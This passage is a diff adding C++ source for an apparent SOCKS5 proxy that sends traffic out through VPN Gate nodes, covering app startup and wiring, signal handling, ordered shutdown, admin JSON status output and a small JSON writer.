std::atomic<bool> stopping_{false};
|
||||
};
|
||||
|
||||
} // namespace ovg::app
|
||||
+581
@@ -0,0 +1,581 @@
|
||||
#include "app/app.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <csignal>
|
||||
#include <utility>
|
||||
|
||||
#include "app/json.h"
|
||||
#include "common/error.h"
|
||||
#include "common/logging.h"
|
||||
#include "common/metrics.h"
|
||||
|
||||
#if OVG_WITH_TUNNEL
|
||||
#include "netstack/lwip_stack.h"
|
||||
#endif
|
||||
|
||||
namespace ovg::app {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "app";
|
||||
|
||||
// Bounded so an operator cannot ask for a thousand-entry document by accident.
|
||||
constexpr size_t kMaxSessionsListed = 200;
|
||||
constexpr size_t kMaxNodesListed = 50;
|
||||
constexpr size_t kHealthSamplesListed = 10;
|
||||
|
||||
int io_thread_count(const Socks5Config &cfg) {
|
||||
if (cfg.io_threads > 0) return cfg.io_threads;
|
||||
const unsigned hw = std::thread::hardware_concurrency();
|
||||
// Four is the ceiling on purpose (docs/ARCHITECTURE.md §4): past that, the
|
||||
// contention inside lwIP's single strand costs more than the extra threads
|
||||
// buy, because every tunnelled byte has to pass through it anyway.
|
||||
return static_cast<int>(std::min<unsigned>(hw == 0 ? 1 : hw, 4));
|
||||
}
|
||||
|
||||
metrics::Gauge *g_uptime() {
|
||||
static auto *g = metrics::gauge("ovg_uptime_seconds", "Process uptime");
|
||||
return g;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
App::App(Config cfg)
|
||||
: cfg_(std::move(cfg)),
|
||||
io_(io_thread_count(cfg_.socks5)),
|
||||
work_(asio::make_work_guard(io_)),
|
||||
signals_(io_) {}
|
||||
|
||||
App::~App() {
|
||||
// Everything below holds a reference to io_ and must be gone before it is.
|
||||
admin_.reset();
|
||||
switcher_.reset();
|
||||
health_.reset();
|
||||
socks_.reset();
|
||||
egress_.reset();
|
||||
selector_.reset();
|
||||
#if OVG_WITH_TUNNEL
|
||||
stack_.reset();
|
||||
#endif
|
||||
nodes_.reset();
|
||||
}
|
||||
|
||||
bool App::init_logging(std::string *err) {
|
||||
log::set_level(cfg_.logging.level);
|
||||
for (const auto &kv : cfg_.logging.module_levels) {
|
||||
log::set_module_level(kv.first, kv.second);
|
||||
}
|
||||
if (!log::set_output_file(cfg_.logging.file, err)) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool App::init_egress(std::string *err) {
|
||||
const bool want_tunnel = cfg_.egress_mode != "direct";
|
||||
|
||||
#if OVG_WITH_TUNNEL
|
||||
if (want_tunnel) {
|
||||
try {
|
||||
stack_ = std::make_unique<netstack::Stack>(io_, cfg_.dns);
|
||||
} catch (const std::exception &e) {
|
||||
*err = std::string("cannot start the userspace network stack: ") +
|
||||
e.what();
|
||||
return false;
|
||||
}
|
||||
}
|
||||
#else
|
||||
if (want_tunnel) {
|
||||
// Refusing beats silently proxying in the clear. Someone who configured
|
||||
// `egress_mode = tunnel` and got direct host sockets would have a working
|
||||
// proxy and no VPN, which is the one failure mode that must never be quiet.
|
||||
*err =
|
||||
"egress_mode is 'tunnel' but this build has no tunnel support "
|
||||
"(configure with -DOVG_WITH_TUNNEL=ON, or set egress_mode = direct)";
|
||||
return false;
|
||||
}
|
||||
#endif
|
||||
|
||||
if (!want_tunnel) {
|
||||
LOG_WARN(kMod,
|
||||
"egress_mode = direct: traffic leaves through the host's own "
|
||||
"network, NOT through a VPN. This mode exists for testing.");
|
||||
}
|
||||
|
||||
#if OVG_WITH_TUNNEL
|
||||
netstack::Stack *stack = stack_.get();
|
||||
#else
|
||||
netstack::Stack *stack = nullptr;
|
||||
#endif
|
||||
egress_ = std::make_unique<egress::EgressManager>(
|
||||
io_, cfg_, selector_.get(), history_.get(), stack);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool App::start(std::string *err) {
|
||||
started_ = std::chrono::steady_clock::now();
|
||||
if (!init_logging(err)) return false;
|
||||
|
||||
LOG_INFO(kMod, "starting: egress_mode={}, io_threads={}, tunnel_support={}",
|
||||
cfg_.egress_mode, io_thread_count(cfg_.socks5),
|
||||
OVG_WITH_TUNNEL ? "yes" : "no");
|
||||
|
||||
// ---- node list and selection ---------------------------------------------
|
||||
nodes_ = std::make_unique<vpngate::NodeStore>(io_, cfg_.vpngate);
|
||||
history_ = std::make_unique<selector::HistoryStore>(
|
||||
cfg_.selector.history_path, cfg_.selector);
|
||||
history_->load();
|
||||
LOG_INFO(kMod, "loaded history for {} node(s) from {}", history_->size(),
|
||||
cfg_.selector.history_path);
|
||||
selector_ = std::make_unique<selector::Selector>(io_, cfg_.selector, *nodes_,
|
||||
*history_);
|
||||
|
||||
// ---- the way out ---------------------------------------------------------
|
||||
if (!init_egress(err)) return false;
|
||||
|
||||
// ---- the front door ------------------------------------------------------
|
||||
// The provider is a lambda rather than a manager pointer so the SOCKS5 layer
|
||||
// keeps knowing nothing about switching; see socks5/server.h.
|
||||
socks_ = std::make_unique<socks5::Server>(
|
||||
io_, cfg_, [this] { return egress_->acquire(); });
|
||||
if (!socks_->start(err)) return false;
|
||||
|
||||
// ---- health and the switch decision --------------------------------------
|
||||
health_ = std::make_unique<health::HealthMonitor>(
|
||||
io_, cfg_.health, [this] { return egress_->acquire(); });
|
||||
switcher_ = std::make_unique<health::SwitchController>(io_, cfg_, *health_,
|
||||
*egress_);
|
||||
wire_switch_hooks();
|
||||
switcher_->start(); // before the monitor, so no verdict is missed
|
||||
|
||||
// ---- admin ---------------------------------------------------------------
|
||||
if (cfg_.admin.enabled) {
|
||||
AdminServer::Hooks hooks;
|
||||
hooks.status_json = [this] { return status_json(); };
|
||||
hooks.nodes_json = [this] { return nodes_json(); };
|
||||
hooks.sessions_json = [this] { return sessions_json(); };
|
||||
hooks.health_json = [this] { return health_json(); };
|
||||
hooks.force_switch = [this](std::string *detail) {
|
||||
// The refusal text comes from the manager, which is the only layer that
|
||||
// knows which of the four refusal conditions it was. Guessing here is how
|
||||
// a direct-mode build ends up telling an operator that a switch it never
|
||||
// attempted is "already in progress".
|
||||
const bool ok = switcher_->force_switch("admin request", detail);
|
||||
if (ok) *detail = "switch started";
|
||||
else if (detail->empty()) *detail = "refused";
|
||||
return ok;
|
||||
};
|
||||
admin_ = std::make_unique<AdminServer>(io_, cfg_.admin, std::move(hooks));
|
||||
if (!admin_->start(err)) return false;
|
||||
}
|
||||
|
||||
install_signals();
|
||||
|
||||
// ---- bring the first egress up -------------------------------------------
|
||||
// The listener is already accepting: a client that connects before a tunnel
|
||||
// exists is refused at accept with a counted `no_egress`, which is a far
|
||||
// better answer than a connection that hangs until the first node is up.
|
||||
nodes_->start();
|
||||
egress_->start([this](const std::error_code &ec) {
|
||||
if (ec) {
|
||||
// Shutting down before the first tunnel came up cancels the startup, and
|
||||
// that arrives here looking exactly like a failure. It is not one, and
|
||||
// reporting it as ERROR -- with advice about a proxy that "stays up",
|
||||
// three lines above "stopped" -- is how a clean exit gets read as a crash.
|
||||
if (stopping_.load(std::memory_order_acquire)) {
|
||||
LOG_INFO(kMod, "startup abandoned: {}", ec.message());
|
||||
return;
|
||||
}
|
||||
LOG_ERROR(kMod,
|
||||
"no usable egress after the startup retry budget: {}. The "
|
||||
"proxy stays up and keeps refusing connections; the switch "
|
||||
"controller will keep trying.",
|
||||
ec.message());
|
||||
return;
|
||||
}
|
||||
const auto st = egress_->status();
|
||||
LOG_INFO(kMod, "egress ready on {}", st.active_node);
|
||||
health_->start();
|
||||
});
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void App::wire_switch_hooks() {
|
||||
// One hook, two subscribers, and the order is not arbitrary.
|
||||
//
|
||||
// The SOCKS5 server goes first because re-homing has to happen *before* the
|
||||
// old egress starts draining: a session that moves onto the new egress must
|
||||
// do so while the old one is still whole, or a re-dial that fails has nothing
|
||||
// to fall back to. The controller's half only re-probes health, which is
|
||||
// meaningless until the new egress is actually the active one.
|
||||
egress_->set_on_promote(
|
||||
[this](const egress::EgressPtr &old_e, const egress::EgressPtr &new_e) {
|
||||
if (socks_) socks_->on_promote(old_e, new_e);
|
||||
if (switcher_) {
|
||||
switcher_->note_promotion(old_e ? old_e->label() : "-",
|
||||
new_e ? new_e->label() : "-");
|
||||
}
|
||||
});
|
||||
|
||||
egress_->set_on_drain_expired([this](const egress::EgressPtr &e) {
|
||||
if (socks_) socks_->on_drain_expired(e);
|
||||
});
|
||||
}
|
||||
|
||||
void App::install_signals() {
|
||||
signals_.add(SIGINT);
|
||||
signals_.add(SIGTERM);
|
||||
signals_.add(SIGHUP);
|
||||
// SIGPIPE would take the process down on a write to a peer that vanished,
|
||||
// which on a proxy is a routine Tuesday.
|
||||
std::signal(SIGPIPE, SIG_IGN);
|
||||
|
||||
signals_.async_wait([this](const std::error_code &ec, int sig) {
|
||||
if (ec) return;
|
||||
if (sig == SIGHUP) {
|
||||
// Reload the things it is safe to reload while running: credentials and
|
||||
// the node list. Not listen addresses, not thread counts -- those need a
|
||||
// restart, and pretending otherwise is how you get a half-applied config.
|
||||
if (!cfg_.socks5.auth_file.empty() && socks_) {
|
||||
std::vector<Credential> users;
|
||||
std::string err;
|
||||
if (load_auth_file(cfg_.socks5.auth_file, &users, &err)) {
|
||||
const size_t n = socks_->auth().replace(std::move(users));
|
||||
LOG_INFO(kMod, "SIGHUP: reloaded {} credential(s) from {}", n,
|
||||
cfg_.socks5.auth_file);
|
||||
} else {
|
||||
LOG_ERROR(kMod, "SIGHUP: keeping the old credentials, {} is bad: {}",
|
||||
cfg_.socks5.auth_file, err);
|
||||
}
|
||||
}
|
||||
if (nodes_) {
|
||||
nodes_->refresh_now([](std::error_code rec, size_t n) {
|
||||
if (rec) {
|
||||
LOG_WARN(kMod, "SIGHUP: node refresh failed: {}", rec.message());
|
||||
} else {
|
||||
LOG_INFO(kMod, "SIGHUP: node list refreshed, {} node(s)", n);
|
||||
}
|
||||
});
|
||||
}
|
||||
install_signals(); // re-arm; SIGHUP is not a shutdown
|
||||
return;
|
||||
}
|
||||
|
||||
const int n = stop_requests_.fetch_add(1, std::memory_order_acq_rel) + 1;
|
||||
if (n == 1) {
|
||||
LOG_INFO(kMod, "signal {} received, shutting down gracefully", sig);
|
||||
begin_shutdown();
|
||||
install_signals(); // so a second one can still be heard
|
||||
return;
|
||||
}
|
||||
LOG_WARN(kMod, "signal {} received again, stopping now", sig);
|
||||
io_.stop();
|
||||
});
|
||||
}
|
||||
|
||||
void App::shutdown() { asio::post(io_, [this] { begin_shutdown(); }); }
|
||||
|
||||
void App::begin_shutdown() {
|
||||
if (stopping_.exchange(true, std::memory_order_acq_rel)) return;
|
||||
|
||||
// Reverse construction order. Each step stops producing work for the next.
|
||||
if (admin_) admin_->stop();
|
||||
if (switcher_) switcher_->stop();
|
||||
if (health_) health_->stop();
|
||||
if (socks_) socks_->stop();
|
||||
if (nodes_) nodes_->stop();
|
||||
if (history_) history_->save();
|
||||
|
||||
// Dropping the work guard lets run() return once the queues drain, rather
|
||||
// than stopping the context out from under handlers that are mid-flight.
|
||||
//
|
||||
// The signal_set has to be cancelled in the same breath. The graceful path
|
||||
// re-arms it so a second Ctrl-C can still be heard, and that re-armed
|
||||
// async_wait is genuine outstanding work -- with it pending, run() has
|
||||
// something to do forever and the process hangs after logging a picture-
|
||||
// perfect shutdown sequence. The pending handler gets operation_aborted and
|
||||
// returns on its `if (ec)`, so nothing else observes this.
|
||||
// The lwIP timer is the other one, and it is the reason `direct` mode used to
|
||||
// exit cleanly while `tunnel` mode hung: the stack ticks for as long as it
|
||||
// exists and re-arms itself, and it is owned by this object, which is not
|
||||
// destroyed until run() has returned. Stopped here rather than in the
|
||||
// destructor, and only after the egress is gone -- lwIP timers are what
|
||||
// retransmit the last packets of a graceful close.
|
||||
const auto release = [this] {
|
||||
std::error_code ignored;
|
||||
signals_.cancel(ignored);
|
||||
#if OVG_WITH_TUNNEL
|
||||
if (stack_) stack_->stop();
|
||||
#endif
|
||||
work_.reset();
|
||||
};
|
||||
|
||||
if (!egress_) {
|
||||
release();
|
||||
return;
|
||||
}
|
||||
egress_->shutdown([this, release] {
|
||||
LOG_INFO(kMod, "egress torn down; releasing the io context");
|
||||
release();
|
||||
});
|
||||
}
|
||||
|
||||
int App::run() {
|
||||
const int n = io_thread_count(cfg_.socks5);
|
||||
LOG_INFO(kMod, "running on {} io thread(s)", n);
|
||||
|
||||
threads_.reserve(static_cast<size_t>(n) - 1);
|
||||
for (int i = 1; i < n; ++i) {
|
||||
threads_.emplace_back([this] {
|
||||
try {
|
||||
io_.run();
|
||||
} catch (const std::exception &e) {
|
||||
// A handler that throws would otherwise take the thread with it and
|
||||
// leave the service running with fewer than it thinks it has.
|
||||
LOG_ERROR(kMod, "io thread died: {}", e.what());
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
try {
|
||||
io_.run();
|
||||
} catch (const std::exception &e) {
|
||||
LOG_ERROR(kMod, "io thread died: {}", e.what());
|
||||
}
|
||||
|
||||
for (auto &t : threads_) {
|
||||
if (t.joinable()) t.join();
|
||||
}
|
||||
threads_.clear();
|
||||
|
||||
if (history_) history_->save();
|
||||
LOG_INFO(kMod, "stopped");
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint16_t App::socks5_port() const { return socks_ ? socks_->port() : 0; }
|
||||
uint16_t App::admin_port() const { return admin_ ? admin_->port() : 0; }
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Admin JSON
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
std::string App::status_json() const {
|
||||
const auto now = std::chrono::steady_clock::now();
|
||||
const auto uptime_s =
|
||||
std::chrono::duration_cast<std::chrono::seconds>(now - started_).count();
|
||||
g_uptime()->set(uptime_s);
|
||||
|
||||
Json j;
|
||||
j.obj();
|
||||
j.kv("uptime_seconds", static_cast<int64_t>(uptime_s));
|
||||
j.kv("egress_mode", cfg_.egress_mode);
|
||||
j.kv("tunnel_support", OVG_WITH_TUNNEL != 0);
|
||||
|
||||
j.key("socks5").obj();
|
||||
if (socks_) {
|
||||
const auto s = socks_->stats();
|
||||
j.kv("listen", cfg_.socks5.listen_address + ":" +
|
||||
std::to_string(socks_->port()));
|
||||
j.kv("require_auth", cfg_.socks5.require_auth);
|
||||
j.kv("udp_associate", cfg_.socks5.udp_associate_enabled);
|
||||
j.kv("max_sessions", cfg_.socks5.max_sessions);
|
||||
j.kv("active", s.active);
|
||||
j.kv("accepted_total", s.accepted);
|
||||
j.kv("rejected_over_limit_total", s.rejected);
|
||||
j.kv("refused_no_egress_total", s.no_egress);
|
||||
j.kv("auth_ok_total", s.auth_ok);
|
||||
j.kv("auth_failed_total", s.auth_failed);
|
||||
}
|
||||
j.end_obj();
|
||||
|
||||
j.key("egress").obj();
|
||||
if (egress_) {
|
||||
const auto st = egress_->status();
|
||||
j.kv("phase", egress::switch_phase_name(st.phase));
|
||||
j.kv("active_node", st.active_node);
|
||||
j.kv("active_state", egress::egress_state_name(st.active_state));
|
||||
j.kv("active_detail", st.active_detail);
|
||||
j.kv("candidate", st.candidate);
|
||||
j.kv("draining", st.draining);
|
||||
j.kv("switches_total", st.switches);
|
||||
j.kv("switch_failures_total", st.switch_failures);
|
||||
j.kv("last_reason", st.last_reason);
|
||||
j.kv("ms_since_switch", st.ms_since_switch);
|
||||
j.kv("backoff_ms", st.backoff_ms);
|
||||
|
||||
if (const auto active = egress_->acquire()) {
|
||||
const auto s = active->stats();
|
||||
j.key("active_stats").obj();
|
||||
j.kv("node_id", s.node_id);
|
||||
j.kv("country", s.node_country);
|
||||
j.kv("server_ip", s.server_ip);
|
||||
j.kv("local_address", s.local_address);
|
||||
j.kv("proto", s.proto);
|
||||
j.kv("uptime_ms", s.uptime_ms);
|
||||
j.kv("sessions", s.sessions);
|
||||
j.kv("tcp_opened", s.tcp_opened);
|
||||
j.kv("tcp_failed", s.tcp_failed);
|
||||
j.kv("tcp_active", s.tcp_active);
|
||||
j.kv("udp_active", s.udp_active);
|
||||
j.kv("tun_bytes_in", s.tun_bytes_in);
|
||||
j.kv("tun_bytes_out", s.tun_bytes_out);
|
||||
j.kv("transport_bytes_in", s.transport_bytes_in);
|
||||
j.kv("transport_bytes_out", s.transport_bytes_out);
|
||||
j.kv("rx_packets", s.rx_packets);
|
||||
j.kv("tx_packets", s.tx_packets);
|
||||
j.kv("tx_dropped", s.tx_dropped);
|
||||
j.kv("rx_dropped", s.rx_dropped);
|
||||
j.kv("rx_malformed", s.rx_malformed);
|
||||
j.kv("last_packet_received_ms", static_cast<int64_t>(
|
||||
s.last_packet_received_ms));
|
||||
j.end_obj();
|
||||
}
|
||||
|
||||
j.key("draining_list").arr();
|
||||
for (const auto &d : egress_->draining_stats()) {
|
||||
j.obj();
|
||||
j.kv("node_id", d.node_id);
|
||||
j.kv("sessions", d.sessions);
|
||||
j.kv("uptime_ms", d.uptime_ms);
|
||||
j.end_obj();
|
||||
}
|
||||
j.end_arr();
|
||||
}
|
||||
j.end_obj();
|
||||
|
||||
j.key("health").obj();
|
||||
if (health_) {
|
||||
const auto s = health_->last();
|
||||
j.kv("rounds", health_->rounds());
|
||||
j.kv("consecutive_bad", health_->consecutive_bad());
|
||||
j.kv("score", s.score);
|
||||
j.kv("healthy", s.healthy);
|
||||
j.kv("verdict", s.verdict);
|
||||
j.kv("age_ms", s.age_ms);
|
||||
}
|
||||
j.end_obj();
|
||||
|
||||
j.key("switching").obj();
|
||||
if (switcher_) {
|
||||
const auto s = switcher_->stats();
|
||||
j.kv("mode", cfg_.switching.mode == SwitchConfig::Mode::Graceful
|
||||
? "graceful"
|
||||
: "hard");
|
||||
j.kv("requested_total", s.requested);
|
||||
j.kv("declined_total", s.declined);
|
||||
j.kv("by_unhealthy", s.unhealthy);
|
||||
j.kv("by_tunnel_down", s.tunnel_down);
|
||||
j.kv("by_opportunistic", s.opportunistic);
|
||||
j.kv("by_manual", s.manual);
|
||||
j.kv("last_trigger", s.last_trigger);
|
||||
}
|
||||
j.end_obj();
|
||||
|
||||
j.key("nodes").obj();
|
||||
if (nodes_) {
|
||||
const auto snap = nodes_->snapshot();
|
||||
j.kv("known", snap ? snap->size() : size_t{0});
|
||||
const auto last = nodes_->last_success();
|
||||
j.kv("last_refresh_epoch_s",
|
||||
static_cast<int64_t>(
|
||||
std::chrono::duration_cast<std::chrono::seconds>(
|
||||
last.time_since_epoch())
|
||||
.count()));
|
||||
}
|
||||
j.end_obj();
|
||||
|
||||
j.end_obj();
|
||||
return j.take();
|
||||
}
|
||||
|
||||
std::string App::nodes_json() const {
|
||||
Json j;
|
||||
j.obj();
|
||||
j.key("ranking").arr();
|
||||
if (selector_) {
|
||||
size_t n = 0;
|
||||
for (const auto &c : selector_->last_ranking()) {
|
||||
if (n++ >= kMaxNodesListed) break;
|
||||
j.obj();
|
||||
j.kv("id", c.node.id());
|
||||
j.kv("country", c.node.country_short);
|
||||
j.kv("ip", c.node.ip);
|
||||
j.kv("score", c.score);
|
||||
j.kv("prior", c.prior);
|
||||
j.kv("rtt_ms", c.rtt_ms);
|
||||
j.kv("probed", c.probed);
|
||||
j.kv("reachable", c.reachable);
|
||||
j.kv("backed_off", c.backed_off);
|
||||
j.kv("note", c.note);
|
||||
j.kv("api_score", c.node.api.score);
|
||||
j.kv("api_speed_bps", c.node.api.speed_bps);
|
||||
j.kv("api_sessions", c.node.api.num_sessions);
|
||||
j.kv("api_ping_ms", c.node.api.ping_ms);
|
||||
j.kv("udp", c.node.has_udp());
|
||||
j.kv("tcp", c.node.has_tcp());
|
||||
j.end_obj();
|
||||
}
|
||||
}
|
||||
j.end_arr();
|
||||
j.kv("truncated_at", kMaxNodesListed);
|
||||
j.end_obj();
|
||||
return j.take();
|
||||
}
|
||||
|
||||
std::string App::sessions_json() const {
|
||||
Json j;
|
||||
j.obj();
|
||||
j.key("sessions").arr();
|
||||
if (socks_) {
|
||||
for (const auto &s : socks_->sessions(kMaxSessionsListed)) {
|
||||
j.obj();
|
||||
j.kv("id", s.id);
|
||||
j.kv("client", s.client);
|
||||
j.kv("target", s.target);
|
||||
j.kv("command", s.command);
|
||||
j.kv("state", s.state);
|
||||
j.kv("egress", s.egress_label);
|
||||
j.kv("bytes_up", s.bytes_up);
|
||||
j.kv("bytes_down", s.bytes_down);
|
||||
j.kv("age_ms", s.age_ms);
|
||||
j.end_obj();
|
||||
}
|
||||
}
|
||||
j.end_arr();
|
||||
j.kv("truncated_at", kMaxSessionsListed);
|
||||
j.end_obj();
|
||||
return j.take();
|
||||
}
|
||||
|
||||
std::string App::health_json() const {
|
||||
Json j;
|
||||
j.obj();
|
||||
if (health_) {
|
||||
j.kv("rounds", health_->rounds());
|
||||
j.kv("consecutive_bad", health_->consecutive_bad());
|
||||
j.kv("unhealthy_windows", cfg_.health.unhealthy_windows);
|
||||
j.kv("min_score", cfg_.health.min_score);
|
||||
j.key("samples").arr();
|
||||
for (const auto &s : health_->recent(kHealthSamplesListed)) {
|
||||
j.obj();
|
||||
j.kv("age_ms", s.age_ms);
|
||||
j.kv("egress", s.egress_label);
|
||||
j.kv("egress_present", s.egress_present);
|
||||
j.kv("tunnel_up", s.tunnel_up);
|
||||
j.kv("probe_ok", s.probe_ok);
|
||||
j.kv("rtt_ms", s.rtt_ms);
|
||||
j.kv("connect_failure_rate", s.connect_failure_rate);
|
||||
j.kv("stall_known", s.stall_known);
|
||||
j.kv("stalled_ms", s.stalled_ms);
|
||||
j.kv("loss_rate", s.loss_rate);
|
||||
j.kv("score", s.score);
|
||||
j.kv("healthy", s.healthy);
|
||||
j.kv("verdict", s.verdict);
|
||||
j.end_obj();
|
||||
}
|
||||
j.end_arr();
|
||||
}
|
||||
j.end_obj();
|
||||
return j.take();
|
||||
}
|
||||
|
||||
} // namespace ovg::app
|
||||
+117
@@ -0,0 +1,117 @@
|
||||
// Assembly. The only file that knows every module exists.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// What lives here and what does not
|
||||
// ---------------------------------------------------------------------------
|
||||
// Construction order, wiring, the io thread pool, signal handling, and the JSON
|
||||
// the admin endpoint serves. No policy: whether to switch is health/'s call,
|
||||
// how to switch is egress/'s, which node is selector/'s. If a decision is being
|
||||
// made in this file, it is in the wrong file.
|
||||
//
|
||||
// The one thing that genuinely belongs here is the fan-out for
|
||||
// EgressManager::set_on_promote, which has a single slot and two subscribers
|
||||
// (the SOCKS5 server re-homes sessions; the switch controller re-probes
|
||||
// health). Ordering matters and is documented at the call site.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Shutdown
|
||||
// ---------------------------------------------------------------------------
|
||||
// Ordered, because the reverse of construction is the only order in which
|
||||
// nothing observes a half-destroyed neighbour:
|
||||
//
|
||||
// admin -> health -> socks5 listener -> egress manager -> node store
|
||||
// -> io_context.stop() once the manager reports everything gone
|
||||
//
|
||||
// The io threads are joined last. A second signal skips the graceful path and
|
||||
// stops the io_context immediately -- an operator pressing Ctrl-C twice means
|
||||
// it, and a shutdown that cannot be interrupted is its own kind of bug.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <atomic>
|
||||
#include <memory>
|
||||
#include <string>
|
||||
#include <thread>
|
||||
#include <vector>
|
||||
|
||||
#include "app/admin_server.h"
|
||||
#include "common/config.h"
|
||||
#include "egress/egress_manager.h"
|
||||
#include "health/health_monitor.h"
|
||||
#include "health/switch_controller.h"
|
||||
#include "selector/history.h"
|
||||
#include "selector/selector.h"
|
||||
#include "socks5/server.h"
|
||||
#include "vpngate/node_store.h"
|
||||
|
||||
namespace ovg::netstack {
|
||||
class Stack;
|
||||
}
|
||||
|
||||
namespace ovg::app {
|
||||
|
||||
class App {
|
||||
public:
|
||||
explicit App(Config cfg);
|
||||
~App();
|
||||
|
||||
App(const App &) = delete;
|
||||
App &operator=(const App &) = delete;
|
||||
|
||||
// Brings everything up. Returns false with `err` filled if anything refuses
|
||||
// to start; nothing is left running in that case.
|
||||
bool start(std::string *err);
|
||||
|
||||
// Blocks until shutdown completes. Returns the process exit code.
|
||||
int run();
|
||||
|
||||
// Safe to call from a signal handler context (it only posts).
|
||||
void shutdown();
|
||||
|
||||
// Test seam: the ports actually bound, which differ from the configured ones
|
||||
// when those were 0.
|
||||
uint16_t socks5_port() const;
|
||||
uint16_t admin_port() const;
|
||||
|
||||
private:
|
||||
bool init_logging(std::string *err);
|
||||
bool init_egress(std::string *err);
|
||||
void wire_switch_hooks();
|
||||
void install_signals();
|
||||
void begin_shutdown();
|
||||
|
||||
std::string status_json() const;
|
||||
std::string nodes_json() const;
|
||||
std::string sessions_json() const;
|
||||
std::string health_json() const;
|
||||
|
||||
Config cfg_;
|
||||
asio::io_context io_;
|
||||
// Keeps the io_context alive while it has nothing to do, which is most of the
|
||||
// time before the first connection arrives.
|
||||
asio::executor_work_guard<asio::io_context::executor_type> work_;
|
||||
asio::signal_set signals_;
|
||||
|
||||
std::unique_ptr<vpngate::NodeStore> nodes_;
|
||||
std::unique_ptr<selector::HistoryStore> history_;
|
||||
std::unique_ptr<selector::Selector> selector_;
|
||||
#if OVG_WITH_TUNNEL
|
||||
// Declared only in a build that has one: a unique_ptr member needs a complete
|
||||
// type at the point the destructor is generated, and without the tunnel there
|
||||
// is no definition of Stack to be had.
|
||||
std::unique_ptr<netstack::Stack> stack_;
|
||||
#endif
|
||||
std::unique_ptr<egress::EgressManager> egress_;
|
||||
std::unique_ptr<socks5::Server> socks_;
|
||||
std::unique_ptr<health::HealthMonitor> health_;
|
||||
std::unique_ptr<health::SwitchController> switcher_;
|
||||
std::unique_ptr<AdminServer> admin_;
|
||||
|
||||
std::vector<std::thread> threads_;
|
||||
std::atomic<bool> stopping_{false};
|
||||
std::atomic<int> stop_requests_{0};
|
||||
std::chrono::steady_clock::time_point started_{};
|
||||
};
|
||||
|
||||
} // namespace ovg::app
|
||||
+141
@@ -0,0 +1,141 @@
|
||||
// A ~100-line JSON *writer*. Not a parser, and never will be.
|
||||
//
|
||||
// The admin endpoint emits JSON and reads nothing but a request line, so a
|
||||
// dependency on a real JSON library would buy escaping rules we can write in
|
||||
// twenty lines and a parser we would never call. What matters is that the
|
||||
// escaping is correct -- a node name from a volunteer-run directory ends up in
|
||||
// this output, and it is not a string we chose.
|
||||
#pragma once
|
||||
|
||||
#include <cmath>
|
||||
#include <cstdint>
|
||||
#include <string>
|
||||
|
||||
namespace ovg::app {
|
||||
|
||||
class Json {
|
||||
public:
|
||||
// Objects and arrays track whether a comma is owed, so callers never have to.
|
||||
Json &obj() { return open('{'); }
|
||||
Json &end_obj() { return close('}'); }
|
||||
Json &arr() { return open('['); }
|
||||
Json &end_arr() { return close(']'); }
|
||||
|
||||
Json &key(const std::string &k) {
|
||||
sep();
|
||||
quote(k);
|
||||
out_ += ':';
|
||||
need_comma_ = false;
|
||||
return *this;
|
||||
}
|
||||
|
||||
Json &str(const std::string &v) {
|
||||
sep();
|
||||
quote(v);
|
||||
return *this;
|
||||
}
|
||||
Json &num(double v) {
|
||||
sep();
|
||||
// NaN and infinity are not JSON. Emitting them produces a document no
|
||||
// client can parse, which is a worse outcome than a wrong-looking zero.
|
||||
if (!std::isfinite(v)) {
|
||||
out_ += "0";
|
||||
return *this;
|
||||
}
|
||||
char buf[40];
|
||||
// %g keeps scores readable (0.83, not 0.8299999999999999) without dropping
|
||||
// precision that matters at this scale.
|
||||
std::snprintf(buf, sizeof(buf), "%.6g", v);
|
||||
out_ += buf;
|
||||
return *this;
|
||||
}
|
||||
Json &num(int64_t v) {
|
||||
sep();
|
||||
out_ += std::to_string(v);
|
||||
return *this;
|
||||
}
|
||||
Json &num(uint64_t v) {
|
||||
sep();
|
||||
out_ += std::to_string(v);
|
||||
return *this;
|
||||
}
|
||||
Json &num(int v) { return num(static_cast<int64_t>(v)); }
|
||||
Json &boolean(bool v) {
|
||||
sep();
|
||||
out_ += v ? "true" : "false";
|
||||
return *this;
|
||||
}
|
||||
Json &null() {
|
||||
sep();
|
||||
out_ += "null";
|
||||
return *this;
|
||||
}
|
||||
|
||||
// key + value in one call, which is what almost every call site wants.
|
||||
template <typename T>
|
||||
Json &kv(const std::string &k, const T &v) {
|
||||
key(k);
|
||||
return set(v);
|
||||
}
|
||||
|
||||
const std::string &str() const { return out_; }
|
||||
std::string take() { return std::move(out_); }
|
||||
|
||||
private:
|
||||
Json &set(const std::string &v) { return str(v); }
|
||||
Json &set(const char *v) { return str(v); }
|
||||
Json &set(bool v) { return boolean(v); }
|
||||
Json &set(double v) { return num(v); }
|
||||
Json &set(int v) { return num(v); }
|
||||
Json &set(int64_t v) { return num(v); }
|
||||
Json &set(uint64_t v) { return num(v); }
|
||||
Json &set(uint32_t v) { return num(static_cast<uint64_t>(v)); }
|
||||
|
||||
Json &open(char c) {
|
||||
sep();
|
||||
out_ += c;
|
||||
need_comma_ = false;
|
||||
return *this;
|
||||
}
|
||||
Json &close(char c) {
|
||||
out_ += c;
|
||||
need_comma_ = true;
|
||||
return *this;
|
||||
}
|
||||
void sep() {
|
||||
if (need_comma_) out_ += ',';
|
||||
need_comma_ = true;
|
||||
}
|
||||
|
||||
void quote(const std::string &s) {
|
||||
out_ += '"';
|
||||
for (unsigned char c : s) {
|
||||
switch (c) {
|
||||
case '"': out_ += "\\\""; break;
|
||||
case '\\': out_ += "\\\\"; break;
|
||||
case '\n': out_ += "\\n"; break;
|
||||
case '\r': out_ += "\\r"; break;
|
||||
case '\t': out_ += "\\t"; break;
|
||||
case '\b': out_ += "\\b"; break;
|
||||
case '\f': out_ += "\\f"; break;
|
||||
default:
|
||||
// Everything below 0x20 must be escaped; everything at or above it
|
||||
// is passed through as-is, which keeps valid UTF-8 (node names carry
|
||||
